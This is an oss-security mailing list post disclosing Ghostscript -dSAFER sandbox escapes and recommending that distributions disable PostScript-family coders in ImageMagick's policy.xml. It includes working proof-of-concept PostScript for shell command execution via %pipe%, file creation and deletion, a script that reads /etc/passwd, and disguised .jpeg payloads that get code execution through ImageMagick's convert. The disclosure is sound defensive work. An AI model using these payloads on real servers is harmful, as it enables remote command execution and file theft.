oss-sec mailing list archives



More Ghostscript Issues: Should we disable PS coders in policy.xml by default?

Hello, this was discussed on the distros list, but it was suggested to move discussion to oss-security. You might recall I posted a bunch of -dSAFER sandbox escapes in ghostscript a few years ago: http://seclists.org/oss-sec/2016/q4/29 I found a few file disclosure, shell command execution, memory corruption and type confusion bugs. There was also one that was found exploited in the wild <http://ghostbutt.com/>. There was also a similar widely exploited issue <https://imagetragick.com/> that could be exploited identically. TL;DR: I *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default. $ convert input.jpg output.gif uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 I've found a few more surprising ways to reach ghostscript recently, so went back to look again and found a few more. 1. /invalidaccess checks stop working after a failed restore, so you can just execute shell commands if you handle the error. Exploitation is very trivial. Repro: $ *gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null* GS>*legal* GS>*{ null restore } stopped { pop } if* GS>*legal* GS>*mark /OutputFile (%pipe%id) currentdevice putdeviceprops* GS<1>*showpage* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 (ImageMagick PoC at end of mail) 2. setcolor claims <http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/zcolor.c;h=4c0f25827e320ceaa9b510c98f9b1926532a26d5;hb=HEAD#l263> no operand checking is necessary, because it's hidden behind a pseudo-operator of the same name. That's true, but you can still call it indirectly via setpattern, so type checking is necessary. Repro: $ *gs -q -sDEVICE=ppmraw -dSAFER* GS>*<< /Whatever 16#414141414141 >> setpattern* Segmentation fault 3. The LockDistillerParams boolean isn't type checked, so nice easy type confusion. Repro: $ *gs -q -sDEVICE=ppmraw -dSAFER* GS>*<< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams* Segmentation fault 4. .tempfile permissions don't seem to work, I don't know when they broke. You're not supposed to be able to open files outside of the patterns in the PermitFileReading array, but that doesn't seem to work for me e.g.: $ *strace -fefile gs -sDEVICE=ppmraw -dSAFER* ... GS>*(/proc/self/cwd/hello) (w) .tempfile* open("/proc/self/cwd/hello26E8LQ", O_RDWR|O_CREAT|O_EXCL, 0600) = 3 GS<2>*dup* GS<3>*(hello) writestring* GS<2>*closefile* This means you can create a file in any directory (I don't think you can prevent the random suffix). Additionally, I have a trick to let you read and unlink any file you have permission to. Here is how to unlink() any file: $ *strace -fefile gs -sDEVICE=ppmraw -dSAFER* ... GS>*{ .bindnow } stopped {} if* GS>*(/etc/passwd) [] .tempfile* GS<2>*.quit* unlink("/etc/passwd") = -1 EACCES (Permission denied) +++ exited with 0 +++ Reading is more complicated, because the best way I know how to do it is to interpret a file as as PostScript and catch the syntax errors, here is an example: $ *cat fileread.ps <http://fileread.ps>* /FileToSteal (/etc/passwd) def errordict /undefinedfilename { FileToSteal % save the undefined name } put errordict /undefined { (STOLEN: ) print counttomark { ==only } repeat (

) print FileToSteal } put errordict /invalidfileaccess { pop } put errordict /typecheck { pop } put FileToSteal (w) .tempfile statusdict begin 1 1 .setpagesize end quit $ *gs -q -sDEVICE=ppmraw -dSAFER fileread.ps <http://fileread.ps>* GPL Ghostscript 9.23: STOLEN: root:x:0:0:root: STOLEN: daemon:x:1:1:daemon:/bash/bin/root:(/etc/passwd) STOLEN: bin:x:2:2:bin:/nologin/sbin/usr/sbin:/usr(/etc/passwd) STOLEN: sys:x:3:3:sys:/nologin/sbin/usr/bin:(/etc/passwd) STOLEN: sync:x:4:65534:sync:/nologin/sbin/usr/dev:(/etc/passwd) STOLEN: games:x:5:60:games:/sync/bin/bin:(/etc/passwd) This can be used to steal arbitrary files from webservers that use ImageMagick by encoding file contents into the image output, see my previous PoC here <http://www.openwall.com/lists/oss-security/2016/09/29/3> for an example. i.e. You can make convert malicious.jpg thumbnail.jpg produce an image with the contents of a file visible. These bugs were found manually, I also wrote a fuzzer and I'm working on minimizing a very large number of testcases that I'm planning to report over the next few days. I will just file those issues upstream and not post each individual one here, you can monitor https://bugs.ghostscript.com/ if you want to. I expect there to be several dozen unique bugs. In the meantime, I really *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default. I think this is the number one "unexpected ghostscript" vector, imho this should happen asap. IMHO, -dSAFER is a fragile security boundary at the moment, and executing untrusted postscript should be discouraged, at least by default. Please note, ImageMagick sends some initialization commands to ghostscript that breaks my minimal PoC, but you can just undo their changes in PostScript. This one works for me on the version in Ubuntu: $ *cat shellexec.jpeg* %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops $ *convert shellexec.jpeg whatever.gif* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 For CentOS, try this: $ *cat shellexec.jpeg* %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops $ *convert shellexec.jpeg whatever.gif* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Thanks, Tavis.

By Date By Thread

Current thread: